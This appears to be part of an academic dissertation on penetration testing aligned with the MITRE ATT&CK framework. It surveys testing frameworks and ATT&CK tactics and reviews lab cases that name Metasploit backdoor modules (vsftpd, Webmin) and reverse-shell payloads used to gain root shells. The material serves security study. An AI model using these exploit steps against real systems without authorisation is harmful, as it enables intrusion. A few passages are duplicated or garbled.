Ethical issues in penetration testing involve securing proper authorization, respecting privacy and property rights, and maintaining transparency. Concerns include balancing beneficence and non-maleficence, responsibly managing vulnerabilities, and adhering to ethical standards to mitigate legal and reputational risks. [20] Ethical hackers are bound by a strict code of conduct to ensure responsible and legal hacking practices. [21]
Data Privacy and Confidentiality: Establish and adhere to privacy agreements, ensuring no violations of the organization's data protection rules.
Transparency: Maintain clear communication with clients and organization owners throughout the engagement process.
Non-Malicious Intent: Ensure that the hacking activities are intended solely to identify and resolve vulnerabilities without causing harm.
Scope Limitation: Conduct activities only within the defined target area, respecting boundaries set by the agreement.
Confidentiality: Safeguard and keep all information discovered during the hacking process confidential, without disclosing it to unauthorized parties

[bookmark: _Toc175413620]Applications
Agile methodologies enhance security design in penetration testing by integrating security practices throughout iterative development cycles. Security concerns are addressed continuously through security backlogs, enhanced user stories, and automated testing, ensuring that vulnerabilities are identified and mitigated promptly within rapid, incremental releases. [22] Cyber resilient solutions enhance penetration testing by enabling organizations to thoroughly assess and understand vulnerabilities. By simulating attacks, these tests identify weaknesses, ensuring robust security measures are in place before external threats exploit potential system flaws. [23] 
Using cyber terrain in reinforcement learning enhances penetration testing by integrating realistic network conditions, such as firewalls, into attack graph models. This approach improves the accuracy of simulated attacks, enabling more effective identification of vulnerabilities in complex network environments. [24] Deep reinforcement learning in automated penetration testing optimizes the process by discovering the most exploitable attack paths. This approach leverages real network data to model scenarios, improving the efficiency and accuracy of penetration tests while aiding cybersecurity training. [25]
[bookmark: _Toc174391342][bookmark: _Toc175413621]Hacking Methodology
Hacking methodology encompasses the structured approaches used by security professionals to identify and exploit vulnerabilities within systems to improve their security. This process is crucial for understanding potential weaknesses and enhancing defenses. The methodologies include various types, each focusing on different aspects of security. For instance, penetration testing simulates attacks to uncover vulnerabilities before malicious hackers can exploit them. Vulnerability assessments identify weaknesses without exploiting them. Ethical hacking involves legal and authorized testing to strengthen security
Frameworks like the Open Source Security Testing Methodology Manual (OSSTMM), Information Systems Security Assessment Framework (ISSAF), and Penetration Testing Execution Standard (PTES) provide structured approaches for evaluating different security domains. Open Web Application Security Project (OWASP) specifically addresses web application vulnerabilities. Together, these methodologies form a comprehensive toolkit for assessing and improving cybersecurity.

[bookmark: _Toc174391343][bookmark: _Toc175413622]Open Source Security Testing Methodology Manual (OSSTMM)
The OSSTMM is a comprehensive framework for various forms of security inspection, including vulnerability assessments, ethical hacking, and penetration testing. It provides a structured methodology for improving corporate security strategies and quality. The manual establishes standards for measuring security performance and metrics for evaluating the effectiveness of security measures. It aims to provide a clear understanding of security risks and the potential impact on an organization. Key aspects of OSSTMM include: [26]
Physical Security Testing: Evaluates physical security measures to identify vulnerabilities affecting the organization’s infrastructure and access controls.
Process Testing: Assesses security processes, including the review of security procedures, compliance requirements, and trustworthiness of processes and personnel.
Internet Technology Security Testing: Tests the security of internet-based systems and services, including intrusion detection systems and service configurations.
Communications Security Testing: Focuses on the security of communication systems, such as voice communications, remote access controls, IP-based systems, and other communication protocols.
Wireless Security Testing: Identifies vulnerabilities in wireless networks and systems, assessing their resilience against potential attacks.
Each section of OSSTMM includes specific test modules tailored to these areas, ensuring thorough and effective security assessments.

[bookmark: _Toc174391344][bookmark: _Toc175413623]Information Systems Security Assessment Framework
The Information Systems Security Assessment Framework (ISSAF) is an organized approach for assessing the security of information systems. It includes phases for planning, assessing, analyzing, and reporting, covering network, application, and operational security. The steps involve defining assessment scope, evaluating and analyzing security controls, and documenting vulnerabilities comprehensively. ISSAF uses qualitative and quantitative methods, emphasizing detailed documentation and alignment with industry best practices. Penetration testing procedures involve: [26]
Information Gathering: Collecting data from online sources to understand the system and identify vulnerabilities.
Network Mapping: Analyzing gathered data to map network infrastructure and access points.
Vulnerability Identification: Detecting and testing security weaknesses.
Penetration: Exploiting vulnerabilities to gain unauthorized access.
Privilege Escalation: Exploring potential entry points to gain elevated access.
Enumeration: Analyzing captured traffic and session data to establish passwords.
Compromise Remote Users: Testing access permissions for remote users.
Maintaining Access: Concealing access within the system using techniques like rootkits or backdoors.
Cover the Tracks: Erasing traces of the penetration activities by hiding files or removing logs.
In summary, ISSAF provides a structured and methodical approach to security assessment, ensuring that all critical aspects of an organization's information systems are thoroughly evaluated and documented.

[bookmark: _Toc174391345][bookmark: _Toc175413624]Penetration Testing Execution Standard
The Penetration Testing Execution Standard (PTES) provides a flexible framework for conducting penetration tests by outlining key phases such as planning, scanning, and exploitation. While PTES doesn’t prescribe a fixed structure, it allows customization based on organizational needs and integrates other resources, ensuring thorough assessments, consistency and actionable results for improving security. [21] PTES provides guidelines for various stages of penetration testing, including, [27]
Pre-Engagement Interactions: Defining the scope, objectives, and rules of engagement with the client before starting the test.
Information Gathering: Collecting data about the target system to identify potential vulnerabilities.
Threat Modeling: Analyzing the information gathered to understand potential threats and attack vectors.
Vulnerability Analysis: Finding and evaluating weaknesses in the intended system.
Exploitation: The process of attempting to obtain unauthorized access by utilizing vulnerabilities that have been identified.
Exploitation: Attempting to exploit vulnerabilities that have been discovered in order to get unauthorized access.
Post-Exploitation: Assessing the impact of successful exploitation, including maintaining access and privilege escalation.
Reporting: Documenting the findings, including vulnerabilities, exploited issues, and recommendations for remediation.
PTES aims to ensure that penetration tests are thorough, reliable, and useful for improving security by providing clear, actionable insights and recommendations.

[bookmark: _Toc174391346][bookmark: _Toc175413625]Open Web Application Security Project
The Open Web Application Security Project (OWASP), a non-profit entity, provides valuable open-source cybersecurity resources, including the OWASP Testing Guide (OTG). This guide is structured into three main parts: web application development, testing methodologies, and reporting. It is designed to help developers build secure applications through rigorous penetration testing. The OTG framework encompasses several critical components: [26] [27]
Information Gathering: Collect data on the target application using network scans and web crawling to understand its environment and potential weaknesses.
Configuration Testing: Analyze application settings for misconfigurations or insecure configurations that could be exploited.
Authentication Testing: Assess the security of login mechanisms, checking for weaknesses in authentication procedures.
Session Management Testing: Evaluate how sessions are managed, including session IDs and cookies, to ensure secure session handling.
Authorization Testing: Verify that users can only access authorized resources and cannot escalate privileges beyond their permissions.
Each phase contributes to a comprehensive security assessment, helping to identify and mitigate potential vulnerabilities in web applications.

[bookmark: _Toc174391347][bookmark: _Toc175413626]National Institute of Standards and Technology Cybersecurity Framework
The National Institute of Standards and Technology Cybersecurity Framework (NIST CSF) is a comprehensive set of guidelines designed to enhance organizational cybersecurity practices. Developed by NIST, it provides a structured approach to manage and mitigate cybersecurity risks. The framework is based on existing standards and practices, integrating them into a cohesive set of activities that organizations can follow to improve their cybersecurity posture. [28]
NIST CSF is significant because it offers a flexible, risk-based approach that organizations of all sizes can tailor to their specific needs. It emphasizes key areas such as identifying risks, protecting assets, detecting incidents, responding to threats, and recovering from attacks. By following the NIST CSF, organizations can systematically address security challenges, align their practices with industry standards, and ensure regulatory compliance. Its structured approach supports continuous improvement and helps organizations stay resilient against evolving cyber threats, making it a crucial tool for managing and strengthening cybersecurity.
[bookmark: _Toc174391348][bookmark: _Toc175413627]MITRE ATT&CK Framework
An open-source knowledge base, the MITRE ATT&CK framework describes enemy tactics and strategies based on real-world data. The framework captures adversary and defender behaviors to enhance threat detection. It stands for Adversarial Tactics, Techniques, and Common Knowledge, providing a comprehensive registry of adversary actions recognized universally in cybersecurity. It is a standard for cyber adversary behavior and a curated information source that shows the various stages of an adversary's attack lifecycle as well as the platforms they are known to target. [21] It serves as a foundation for developing threat models and methodologies across the private sector, government, and cybersecurity communities. [5]
Manual threat modeling and attack simulations are time-consuming and error-prone. Applebaum et al. developed an automated adversary emulation testbed using the ATT&CK framework for Windows networks. Similarly, CALDERA 6 automates network assessments but neither covers all MITRE ATT&CK techniques, highlighting a gap in comprehensive automated threat modeling. [29], [30]
The framework uses 14 core tactics to structure attack strategies, reflecting various stages of an adversary's attack lifecycle. This standardization facilitates understanding, categorizing, and defending against cyber threats. Figure 14 depicts the 14 MITRE ATTACK tactics. 
Reconnaissance: Gathering information before launching attacks, such as social engineering. Awareness training and protecting sensitive information can limit reconnaissance success.
 Resource Development: Acquiring necessary resources for operations, like creating infrastructure or obtaining exploits. Intelligence gathering on threat actors and pre-emptive takedowns can disrupt this phase’s information can limit reconnaissance success.
Initial Access: Entry methods into a network, such as exploiting vulnerabilities, phishing, or hardware additions. It is often the initial failure point, necessitating strong user education and system fortification.
Execution: Running adversary-controlled code on a system via scripts, command-line interfaces, or APIs. Continuous monitoring and strict execution policies are needed to thwart unauthorized code execution
Persistence: Maintaining access despite reboots or credential changes, like modifying startup files or creating new accounts. Detection is difficult, requiring robust logging and regular system audits.
Privilege Escalation: Gaining higher permissions through design flaws or configuration errors. Emphasizes the importance of patch management and enforcing least privilege principles.
Defense Evasion: Avoiding detection through methods like obfuscation or disabling security tools. Advanced, behavior-based detection mechanisms are essential.
Credential Access: Stealing credentials via keylogging or credential dumping. Multi-factor authentication and frequent credential updates are crucial defenses.
Discovery: Gathering information about the network and systems, such as network scanning. Network segmentation and real-time monitoring can mitigate successful discoveries.
Lateral Movement: Moving through a network using protocols like SMB or exploiting trust relationships. Zero Trust architecture and continuous authentication are key countermeasures.
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[bookmark: _Toc175171064][bookmark: _Toc173940942]Figure 14 MITRE ATT&CK Tactics and its Stages [29]
Collection: Gathering sensitive data from systems, like keylogging or accessing network shares. It is essential to encrypt data and implement stringent access controls.
 Exfiltration: Stealing data from the network through methods like HTTP or removable media. Data loss prevention tools and monitoring outbound traffic are vital.
Command and Control: Establishing communication channels with compromised systems, often using encrypted tunnels or C2 servers. Analyzing network traffic and anomaly detection are crucial.
Impact: Disrupting operations or destroying data, including ransomware attacks. Regular backups and robust incident response plans are essential.
Each tactic underscores the necessity for a multi-layered defense approach, emphasizing proactive measures, continuous monitoring, and response strategies to fortify cybersecurity against evolving threats.
Tactics, such as Initial Access or Privilege Escalation, represent the adversary’s goals in the MITRE ATTA&CK paradigm. In Figure 15, each tactic encompasses various techniques, like spear-phishing for Initial Access or process injection for Privilege Escalation. Techniques are methods used to perform specific threat activities, providing detailed descriptions, examples, and mitigation approaches. For instance, Credential Access can involve password cracking or brute force techniques. Procedures detail the step-by-step implementation of these techniques, simulating attacks with software.[31]
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[bookmark: _Toc175171065][bookmark: _Toc173940943]Figure 15 Threat Hunting using MITRE Framework [31]

Figure 16 demonstrates how to step-by-step test and analyze attack strategies using Atomic Red Team and the Caldera emulator. Testing one technique is the first step, and further examination is done using the others. Initially, an attack-based scenario is constructed, a certain ATT&CK technique is selected, and the attack's behavior is replicated. This approach aids in the comprehension of attacks but highlights the necessity of extensive testing to account for all potential adversary activities. [31]
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[bookmark: _Toc175171066][bookmark: _Toc173940944]Figure 16 Atomic Test Cycle using ATT&CK [31]
Using the Common Vulnerability Scoring System (CVSS), we assess techniques in the ATT&CK matrix on impact and exploitability.[29]  Impact, the potential risk or damage from a successful attack, and Exploitability, the complexity an attacker faces in executing the technique. For example, escalating local privileges has high impact due to extensive access but high exploitability due to difficulty. Executing malware discreetly also has high impact but medium exploitability because methods are well-documented. Supply chain compromises have high impact and high exploitability due to execution difficulty. Archiving data is low impact and low exploitability as it involves simple data compression. This classification framework, based on industry experience, helps evaluate and improve cybersecurity defenses.
A standardized taxonomy offered by MITRE ATT&CK facilitates the creation of strong security programs that concentrate on threat detection and response. It categorizes adversarial behaviors into a matrix of tactics and techniques, covering a wide array of methods such as network penetration, phishing, malware deployment, data exfiltration, and malicious advertising. Grounded in real-world observations, ATT&CK serves as a foundational resource for creating effective threat models and methodologies adopted globally by cybersecurity professionals and organizations. This open-access framework fosters collaboration and strengthens cybersecurity defenses against sophisticated cyberattacks, contributing to overall resilience in the face of evolving threats.



[bookmark: _Toc174391349][bookmark: _Toc175413628]Related Work
Ethical hacking involves examining an organization's security weaknesses to prevent unauthorized access to sensitive information. Ethical hackers, or penetration testers (pentesters), conduct these assessments by simulating potential attacks while adhering to legal and ethical standards with the organization's consent. Finding vulnerabilities that malicious hackers could exploit is their goal. The findings are compiled into a security report, which the organization uses to address and fix these vulnerabilities. While manual testing is thorough but time-consuming and complex, automated testing leverages tools for faster and more efficient vulnerability detection. Both methods are crucial for a comprehensive security evaluation. 

[bookmark: _Toc174391350][bookmark: _Toc175413629]VAPT Methodology
VAPT effectively identifies system vulnerabilities, enabling administrators to apply necessary patches and updates. This process mitigates risks, ultimately strengthening cybersecurity defenses and safeguarding critical resources and information.

[bookmark: _Toc175413630]Vulnerability Assessment
Vulnerability Assessment involves identifying security weaknesses in the target system. Various scanners and automated tools are used to detect system flaws. This assessment identifies vulnerabilities within the organization before cybercriminals could exploit.
The target machine and Kali Linux OS which is pre-installed with all the automated tools are imported into virtual environment. For instance, an Nmap scan installed on Kali Linux OS, reveals information about open ports, allowing analysis of the services running through them. Suspicious files identified through these ports help pinpoint vulnerabilities in the target system. By exploiting these vulnerabilities, penetration testers can gain access to the target machine.

Case: 1 Reverse TCP Shell
The study by Jasmin & Zanin underscores the effectiveness of continuous VAPT with free tools in identifying and mitigating security risks. Nmap command “nmap -A -v T1,T2,T3” from a Kali Linux machine, is used to scan Windows, Linux, and MacOS targets for vulnerabilities using CVE, ExploitDB, and OpenVas databases, finding none as shown in the below figures. [4]
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[bookmark: _Toc173940945][bookmark: _Toc175171067]Figure 17 Windows 11 nmap scan results [4]

[image: ]
[bookmark: _Toc173940946][bookmark: _Toc175171068]Figure 18 Ubuntu nmap scan results [4]

[image: ]
[bookmark: _Toc173940947][bookmark: _Toc175171069]Figure 19 MacOS nmap scan results [4]


Case: 2 vsftpd Exploit

The Metasploitable VM, was scanned using script, “nmap -A -v 192.168.197.130” depicted in Figure 20 to identify open ports, running services and potential vulnerabilities. The scan, using aggressive and verbose modes, revealed various vulnerabilities including vsftp on port 21. These findings highlight the effectiveness of Nmap in identifying system vulnerabilities. Using Metasploit, these vulnerabilities were exploited to gain a session, demonstrating effective use of these tools for security testing. [2] 
[bookmark: _Toc173940948][image: ]
[bookmark: _Toc175171070]Figure 20 Nmap scan results - Open ports [2]

[bookmark: _Toc175413631]Penetration Testing
Penetration testing encompasses scanning the target system to uncover vulnerabilities and gaining access. Once inside, pentesters seek to extract data and produce comprehensive reports detailing system weaknesses along with recommendations for mitigating them. In the attack phase, pentesters exploit identified vulnerabilities to penetrate the target machine. They start by using existing exploits to breach the system, then endeavor to elevate their privileges to root or admin levels, which is essential for thorough penetration testing.
Metasploit is a versatile framework offering exploits and payloads to assess system security and uncover vulnerabilities. It serves both security professionals for testing networks and applications, and malicious actors for unauthorized system access. Compatible with Windows, Linux, and MacOS, Metasploit facilitates comprehensive security assessments across diverse operating systems.
Case: 1 Reverse TCP Shell
Using Venum and Metasploit, all targets were infected with a reverse TCP meterpreter payload after scanning. Metasploit's collection of exploits and payloads helps test system security across various OSs. In this study, only Windows and MacOS targets were compromised, establishing a remote shell to execute commands and manage processes. This work highlights Metasploit's effectiveness in identifying and exploiting security vulnerabilities. [4]
[bookmark: _Toc173940949][image: ]
[bookmark: _Toc175171071]Figure 21 Windows Target Meterpreter session [4]
[bookmark: _Toc173940950][image: ]
[bookmark: _Toc175171072]Figure 22 MacOS Meterpreter session [4]

Case: 2 vsftpd Exploit
The study identified VSFTP 2.3.4 running on the Metasploitable server, potentially vulnerable. Using Metasploit's “vsftpd_234_backdoor” exploit module as in Figure 23, a session was created with the target machine. This allowed full unauthorized access to the system, demonstrating how Metasploit can exploit known vulnerabilities to test security. It showcased the ability to transition from vulnerability detection to exploitation. This method effectively highlights the critical need for robust security measures. [2]
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[bookmark: _Toc173940951][bookmark: _Toc175171073]Figure 23 Exploit Module [2]
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[bookmark: _Toc173940952][bookmark: _Toc175171074]Figure 24 Session created [2]

The target system has been compromised, granting the user access to view all files as depicted in Figure 24. Furthermore, other open ports and their versions can be identified and cross-referenced with modules in Metasploit to determine possible exploits. [2]

[bookmark: _Toc175413632]Reporting
In the final stage, the penetration tester compiles and analyzes findings to present the organization's owner with a comprehensive overview of security weaknesses. This structured approach allows the owner to pinpoint vulnerabilities and take corrective actions. Once testing concludes, the system is restored to its pre-test state, ensuring all findings and simulated attacks are removed. This phase, known as clearing and exiting, ensures the system resumes normal operations securely. The generated report aids in eliminating potential threats identified during testing.

[bookmark: _Toc174391351][bookmark: _Toc175413633]Penetration Testing Methodology
The study finds that penetration testing effectively identifies and mitigates vulnerabilities in IT systems by ethically hacking to expose weaknesses. Companies use these detailed tests, based on pre-agreed scopes, to secure their infrastructure against potential threats, with outcomes documented in comprehensive reports.

[bookmark: _Toc175413634] Penetration Testing Environment
In Figure 25, the penetration test environment employs a semi-automated system, using open-source tools on a Raspberry Pi running Kali Linux, to scan, monitor, and report vulnerabilities within a network. It simulates internal and external attacks, assessing incident response readiness and providing critical security insights.[19]
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[bookmark: _Toc175171075]Figure 25 PenTest Environment[19]

[bookmark: _Toc175413635] Penetration Test Execution
The execution of penetration testing in the internal LAN involved seven phases, starting with defining the testing scope to prevent service disruptions. During the reconnaissance phase, passive information about the network and connected devices was gathered using various tools, preparing for penetration testing.

[bookmark: _Toc175413636]Vulnerability Scanning
In the threat modeling and vulnerability identification phase, we utilized port scanners and vulnerability assessments, such as Nessus and Nmap, to identify open ports, services, and operating systems on the network. [19] This process revealed vulnerabilities including critical ones like remote code execution on a router, guiding subsequent remediation efforts to enhance network security as in Figure 26.
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[bookmark: _Toc175171076]Figure 26 Nmap Scan Results [19]

[bookmark: _Toc175413637]Exploitation
In the exploitation phase, vulnerabilities were targeted using Metasploit. By exploiting a Webmin backdoor module, “use exploit/unix/webapp/webmin backdoor”, we gained root access to a VM as captured in Figure 27, demonstrating severe security risks. This enabled control over the system and potential further attacks or data breaches. [19]
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[bookmark: _Toc175171077]Figure 27 Webmin - Gained Shell access [19]
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[bookmark: _Toc175171078]Figure 28 Admin-level access [19]

[bookmark: _Toc175413638]Post-Exploitation
In the post-exploitation phase, all methods and results are documented, including screenshots and system changes. Systems are cleaned and restored to baseline configurations, with detailed reporting on tested and successful techniques. [19]

[bookmark: _Toc175413639]Reporting
The reporting phase involves creating a detailed report on discovered vulnerabilities and their exploitation methods. This report is crucial for IT management to understand and address security flaws. It includes precise documentation of findings and exploitation steps, ensuring clarity for remediation. The final phase also involves recommending solutions and re-testing to confirm effective patching and improved security.






[bookmark: _Toc174391352][bookmark: _Toc175413640]Conclusion
Vulnerability Assessment and Penetration Testing (VAPT) plays a crucial role in preemptively protecting systems against hackers by identifying and addressing security weaknesses before they can be exploited. During the penetration testing phase, the scope typically focuses on achieving privilege escalation within the system. However, expanding the scope to incorporate MITRE ATT&CK tactics can significantly enhance the effectiveness of VAPT. Attackers in the real world use techniques including exfiltration, command and control, and lateral movement; MITRE ATT&CK provides a thorough framework that covers these and other tactics. By integrating these tactics into VAPT assessments, organizations can identify gaps in their defenses. This approach not only helps in fortifying systems against a wider range of cyber threats but also ensures that organizations are better prepared to detect, respond to, and mitigate sophisticated attacks. VAPT assessments and continuous monitoring are essential for minimizing the risk factors that can lead to system compromises, such as outdated software, weak passwords, and human errors like phishing.











[bookmark: _Toc174391353][bookmark: _Toc175413641]Research Methodology
0. [bookmark: _Toc174391354][bookmark: _Toc175413642]Introduction:
This chapter outlines the entire research process to achieve the previously stated aims and objectives. It uses the Research Onion model, a widely accepted framework for constructing research design across various disciplines. The chapter focuses on the layers of the research onion: research philosophy, approach, strategy, choices, and time horizons, with data collection techniques and analysis procedures discussed later. [32]

[bookmark: _Toc174391355][bookmark: _Toc175413643] Research Overview
Research methodology is a systematic plan guiding the entire research process, covering methods and techniques for data collection and analysis. It involves selecting appropriate tools to address research questions, ensuring findings' reliability and validity. [32] This structured approach helps achieve research aims and objectives by providing a framework for gathering evidence, interpreting results, and drawing conclusions. By rigorously testing hypotheses, identifying patterns, and making informed recommendations, researchers ensure the study's credibility and effectiveness.

[bookmark: _Toc174391356][bookmark: _Toc175413644]Research Process
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[bookmark: _Toc173940953][bookmark: _Toc175171079]Figure 29 Research Process [32]
[bookmark: _Toc174391357][bookmark: _Toc175413645]Research Philosophy 
The research adopts a mixed-method approach, focusing positivist philosophy for empirical testing to enhance VAPT methodologies using the MITRE ATT&CK framework. By simulating real-world attacks, the study aims to expand the scope of future penetration tests, ensuring comprehensive security assessments with reliable, replicable results and deeper insights into broader security implications.

[bookmark: _Toc174391358][bookmark: _Toc175413646]Research Approach
The research employs a deductive approach, transitioning from theoretical foundations to empirical data collection, to enhance VAPT methodologies with the MITRE ATT&CK Framework. This hypothesis is set to prove that integrating this framework will improve the detection and mitigation of security vulnerabilities. By systematically analyzing attack vectors and vulnerabilities across entire scenarios, and gathering both quantitative and qualitative data, the deductive approach aims to validate the prediction through comprehensive security assessments. The mixed-methods strategy leverages deductive reasoning for empirical testing while providing insights that deepen the understanding of broader security implications.

[bookmark: _Toc174391359][bookmark: _Toc175413647]Research Strategy
The MITRE ATT&CK framework is an essential tool in cybersecurity, categorizing adversarial tactics and techniques into a structured taxonomy. [31] It covers attack techniques throughout the attack lifecycle, including initial access, execution, persistence, privilege escalation, defense evasion, credential access, discovery, lateral movement, collection, exfiltration, and impact. This comprehensive framework enables security professionals to map specific attack techniques to their environment and understand potential attack paths that adversaries might exploit.
The Vulnerability Assessment and Penetration Testing (VAPT) methodology leverages the MITRE ATT&CK framework by defining the scope of tests through the selection of target systems and networks. The subsequent phase involves identifying and prioritizing attack vectors based on known vulnerabilities and weaknesses, which is crucial for determining the relevant MITRE ATT&CK techniques to simulate during penetration testing.
Penetration testing, conducted by ethical hackers or pentesters, aims to exploit identified vulnerabilities using techniques from the MITRE ATT&CK framework. This process often involves using tools and scripts to execute commands remotely, escalate privileges, or move laterally across networks. The goal is to showcase how attackers could potentially compromise systems and data if these vulnerabilities are exploited maliciously.
The research strategy, aligning with an experimental approach, involves systematically testing various attack scenarios on a Metasploitable machine using the enhanced VAPT techniques. This approach focuses on evaluating the effectiveness of different attack scenarios and is guided by empirical data collected during testing.
From the literature review, the VAPT methodology has effectively exposed critical vulnerabilities through several attack scenarios. For instance, the vsftpd exploit highlighted server weaknesses, while the reverse shell attack demonstrated risks related to unauthorized access. Additionally, penetration testing on Raspberry Pi with Kali Linux revealed significant security flaws. These findings, validated through literature review, experimentation, and case studies, underline the methodology’s capability to assess and improve security measures.
SAMBA Exploit
The SAMBA exploit further illustrates the application of adversary emulation in cybersecurity. Red teams simulate potential threats to understand adversary tactics outlined in the MITRE ATT&CK framework. Unlike standard penetration tests, adversary emulation thoroughly tests defenses against simulated threats. The MITRE framework provides a repository of tactics and techniques for analyzing adversary behaviors, which defense teams use to enhance security. For example, Atomic Red Team scripts are employed across various platforms, including Windows, Mac OS, and Linux. Techniques such as Network Share Discovery (T1135) are used to identify shared resources, as illustrated in the Figure 30. [31]
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[bookmark: _Toc175171080][bookmark: _Toc173940954]Figure 30 Accessing shared drives in local system [31]
The experiment simulates real-world hacker tactics in alignment with MITRE ATT&CK techniques to measure system compromise. Data collection includes capturing empirical evidence from test results, which are then analyzed to assess the scope coverage and effectiveness of the applied attack strategies. This methodical approach ensures that findings are attributable to specific attack interventions, reinforcing the credibility and practical application of the results within cybersecurity contexts.

[bookmark: _Toc174391360][bookmark: _Toc175413648]Research Choices
Incorporating attack strategies with a mixed-method approach in the VAPT project for MITRE ATT&CK involves both quantitative and qualitative methods. Researchers define the scope, select target systems, and identify vulnerabilities using tools like Nmap. Attacks are simulated using MITRE ATT&CK techniques, such as SAMBA exploits. Quantitative data, such as exploit success rates and impact severity, is collected and analyzed statistically to gauge effectiveness. Qualitative analysis includes evaluating the broader implications of attack outcomes, such as identifying potential attack vectors and assessing defensive measures. This mixed-method approach ensures a thorough evaluation of cybersecurity risks, informing strategies to enhance defenses based on both empirical data and contextual insights.

[bookmark: _Toc174391361][bookmark: _Toc175413649]Time Horizons
Here's a summary based on the scope of penetration testing using cross-sectional and longitudinal research approaches:
Cross-Sectional Research: Cross-sectional research in the context of penetration testing defines the scope by providing a snapshot of vulnerabilities and attack surfaces at a specific point in time. It focuses on immediate assessment to identify prevalent attack vectors and evaluate current security postures efficiently. This approach is ideal for projects aiming to assess the current state of cybersecurity defenses and identify immediate threats.
Improvements of Scope Achieved Using Longitudinal Research: In contrast, longitudinal research enhances the scope of penetration testing by tracking changes over time. It offers insights into the evolution of cybersecurity threats, the effectiveness of adaptive security measures, and the persistence of vulnerabilities and exploitation tactics. By monitoring trends and changes in attacker behaviors, longitudinal research enables a deeper understanding of how cybersecurity landscapes evolve and provides valuable data for long-term strategic planning and defense enhancement.
This study incorporates cross-sectional research and provides immediate insights into current vulnerabilities and attack methods while a longitudinal research offers a broader perspective by capturing trends and changes over time. Combining both approaches can enhance the overall effectiveness of penetration testing strategies, ensuring that cybersecurity defenses are adaptive and resilient against evolving threats.

[bookmark: _Toc174391362][bookmark: _Toc175413650]Risks & Limitations
Testing in a virtual environment using Oracle Virtual Box and Kali Linux tools presents challenges due to limited tool knowledge and options, potentially delaying problem identification and solution implementation. Time constraints may prevent thorough testing of all identified vulnerabilities. Despite feasible cost analysis and time management in lab setups, approximations may occur. Resource constraints, such as limited processing power and memory, can impact virtual environment performance. Security risks, including data breaches and system compromises, underscore the need for careful handling of sensitive information. Virtual environments may not fully replicate real-world scenarios, potentially affecting security assessment accuracy. External risks include changes in cybersecurity regulations, technological advancements, and resource limitations. Mitigation strategies include monitoring regulatory updates, adapting to new technologies, and agile resource management. Addressing dynamic cyber threats and ethical considerations requires continuous monitoring, agile project management, adherence to ethical guidelines, stakeholder collaboration, and ongoing personnel training and project reviews.

[bookmark: _Toc174391363][bookmark: _Toc175413651]Validity, Reliability & Generalisability
[bookmark: _Toc175413652]Validity
This research method employs a systematic research methodology, integrating the MITRE ATT&CK framework with VAPT techniques to simulate real-world cyber threats. By focusing on empirical data collection, rigorous testing of attack scenarios, and structured analysis, the approach ensures the credibility and validity of findings. It also adapts to the dynamic nature of cybersecurity, offering insights into vulnerabilities, attack paths, and defensive strategies essential for enhancing organizational security measures.

[bookmark: _Toc175413653]Reliability
Given the systematic application of the MITRE ATT&CK framework within the VAPT methodology, along with standardized tools and procedures for data collection and analysis, it is probable that another researcher would achieve similar results. This consistency is supported by the structured approach to testing and documenting cyber threats, which aims to minimize variability and ensure replicability in outcomes across different research efforts.

[bookmark: _Toc175413654]Generalisability
The research methodology outlined utilizes the MITRE ATT&CK framework integrated within the VAPT approach to simulate real-world cyber threats comprehensively. It focuses on empirical data collection, rigorous testing of attack scenarios, and structured analysis to ensure the credibility and validity of findings. The insights gained from testing specific vulnerabilities, can inform similar organizations about effective mitigation strategies and security controls. These methodologies and findings are transferable across industries facing comparable cybersecurity risks, adapting methodologies to address common vulnerabilities in sectors like finance, healthcare, or government. By documenting procedures, standardizing methodologies, and continuously updating practices to reflect evolving cyber threats, the research ensures its relevance and applicability in enhancing cybersecurity resilience across diverse organizational contexts and datasets.

[bookmark: _Toc174391364][bookmark: _Toc175413655]Data Evaluation Methods
[bookmark: _Toc175413656]Data Collection
Data collection combines quantitative and qualitative methods to enhance VAPT with the MITRE ATT&CK framework. Quantitative data comes from empirical tests and simulations, providing metrics on attack success and vulnerability impact. Qualitative insights are drawn from documentation and analysis of test results. Secondary sources, such as academic literature and industry reports, supplement primary data when needed. Comparative analyses validate results, ensuring a thorough understanding and effective identification and mitigation of network vulnerabilities.

[bookmark: _Toc175413657]Data Evaluation
To evaluate VAPT methodologies with the MITRE ATT&CK framework, both quantitative and qualitative data will be analyzed. Quantitative analysis will use descriptive statistics to summarize attack success rates, detection rates, and severity. Inferential statistics will test hypotheses about the effectiveness of MITRE ATT&CK-aligned VAPT strategies in improving security. Qualitative data will provide insights from test results and documentation. This approach ensures a comprehensive evaluation of the effectiveness and impact of the VAPT enhancements. 

[bookmark: _Toc174391365][bookmark: _Toc175413658]Development Methodology
[bookmark: _Toc174391366][bookmark: _Toc175413659]Software Development Methodology
Methodology: Adopting an iterative development approach ensures this cybersecurity penetration testing project remains responsive to evolving threats and vulnerabilities. This method allows for continual refinement of testing strategies based on real-time feedback and emerging security challenges. The iterative approach facilitates frequent testing cycles, enabling early detection and mitigation of vulnerabilities. It promotes close collaboration between penetration testers and stakeholders, ensuring alignment with security objectives throughout the project lifecycle.
Mitigation Strategies: To effectively manage iterative development in cybersecurity, maintaining a prioritized backlog of test scenarios and ensuring robust communication with stakeholders are paramount. Regular evaluations and adjustments of testing methods based on empirical findings enhance the project's efficacy.
Tools and Software: Leveraging tools like Nmap, Metasploit Framework, and Kali Linux enhances the project's penetration testing capabilities, aligning with the MITRE ATT&CK framework. These tools enable comprehensive network scanning, exploit testing, and simulation of realistic cyber threats.
Hardware Requirements: High-performance hardware supports intensive tasks such as large-scale network analysis and exploit simulations, essential for thorough vulnerability assessment and attack scenario testing.

[bookmark: _Toc174391367][bookmark: _Toc175413660] Resources
[bookmark: _Toc174391368][bookmark: _Toc175413661]Hardware Resources
Executing this scenario on a Windows 10 workstation using Oracle Virtual Box involves creating a virtualized environment for cybersecurity penetration testing. Oracle Virtual Box facilitates the setup of a Metasploitable virtual machine (VM), which serves as the intentionally vulnerable target. The VM runs independently from the host system, ensuring isolation and security.
The Windows 10 workstation provides robust hardware resources, including processing power, memory, and storage, to support Oracle Virtual Box and the VMs hosted within it. Networking configurations within Virtual Box enable the emulation of complex network environments necessary for realistic testing scenarios. Virtual Box's network settings allow for configuring network adapters, NAT, and bridged networking to simulate interactions between VMs and external networks.
Throughout the penetration testing process, essential tools such as Nmap, Metasploit, and Wireshark are utilized within the Virtual Box environment. This setup ensures comprehensive evaluation and analysis of vulnerabilities and exploits while maintaining the integrity and security of the Windows 10 host system.

[bookmark: _Toc174391369][bookmark: _Toc175413662]Software Resources
